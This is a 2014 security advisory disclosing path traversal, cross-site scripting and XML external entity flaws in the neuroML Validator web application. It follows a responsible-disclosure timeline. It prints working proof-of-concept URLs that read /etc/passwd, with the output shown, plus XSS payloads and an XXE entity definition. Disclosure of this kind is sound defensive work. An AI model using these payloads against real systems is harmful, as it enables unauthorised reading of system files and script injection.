CSNC-2014-004 neuroML - Multiple Vulnerabilities

2014-10-14T00:00:00
ID SECURITYVULNS:DOC:31162
Type securityvulns
Reporter Securityvulns
Modified 2014-10-14T00:00:00

Description

COMPASS SECURITY ADVISORY

http://www.csnc.ch/en/downloads/advisories.html

Product: neuroML

Version: <=v1.8.1 (Confirmed: v1.8.1)

Vendor: neuroML.org

CSNC ID: CSNC-2014-004

CVD ID: <none>

Subject: Multiple Vulnerabilities

Risk: High

Effect: Remotely exploitable

Author: Philipp Promeuschel <philipp.promeuschel@csnc.ch>

Date: 10.10.2014

Abstract:

The NeuroML project focuses on the development of an XML (eXtensible Markup Language) based description language that provides a common data format for defining and exchanging descriptions of neuronal cell and network models. The current approach in the project uses XML schemas to define the model specifications.[0]

Affected:

Vulnerable: neuroML version 1.8.1

Not tested: Other versions of neuroML

Technical Description:

The NeuroML Validator, can be used to check the validity of NeuroML files.

http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=NeuxroMLFiles/Schemata/v1.8.1/Level1/Metadata_v1.8.1.xsd&amp;xslFile=x

Example output:
Unable to locate file /var/lib/tomcat7/webapps/NeuroMLValidator/x


http://www.neuroml.org/NeuroMLValidator/ViewNeuroMLFile.jsp?localFile=../../../../../etc/passwd

Example output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin


http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=&amp;xslFile=x&#37;3Cimg&#37;20src=&#37;27s&#37;27&#37;20onError=&#37;27alert&#37;281&#37;29;&#37;27&#37;3E
http://www.neuroml.org/NeuroMLValidator/Validation.jsp?pastedFile=XSS&#37;3C/textarea&#37;3Ex&#37;3Cimg&#37;20src=&#37;27s&#37;27&#37;20onError=&#37;27alert&#37;281&#37;29;&#37;27&#37;3E


http://www.morphml.org:8080/NeuroMLValidator/Transform.jsp?pastedFile=&#37;2B&#37;253C&#37;2521DOCTYPE&#37;2Bfoo&#37;2B&#37;255B&#37;2B&#37;2B&#37;250D&#37;250A&#37;2B&#37;2B&#37;2B&#37;253C&#37;2521ELEMENT&#37;2Bfoo&#37;2BANY&#37;2B&#37;253E&#37;250D&#37;250A&#37;2B&#37;2B&#37;2B&#37;253C&#37;2521ENTITY&#37;2Bxxe&#37;2BSYSTEM&#37;2B&#37;2522file&#37;253A&#37;252F&#37;252F&#37;252Fetc&#37;252Fpasswd&#37;2522&#37;2B&#37;253E&#37;255D&#37;253E&#37;253Cfoo&#37;253E&#37;2526xxe&#37;253B&#37;253C&#37;252Ffoo&#37;253E&amp;xslFile=NeuroMLFiles&#37;2FSchemata&#37;2Fv1.8.1&#37;2FLevel1&#37;2FMorphML_v1.8.1_GENESIS.xsl
Example output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

Used XML:
 &lt;!DOCTYPE foo [
   &lt;!ELEMENT foo ANY &gt;
   &lt;!ENTITY xxe SYSTEM &quot;file:///etc/passwd&quot; &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;/foo&gt;

Timeline:

2014-05-04: Discovered Flaws 2014-05-05: Contacted Developer 2014-05-05: Developer Response 2014-05-28: Developer fixed all issues 2014-10-10: Disclosure of the advisory

References:

[0] http://www.neuroml.org/introduction [1] http://blog.csnc.ch/2012/08/secure-xml-parser-configuration/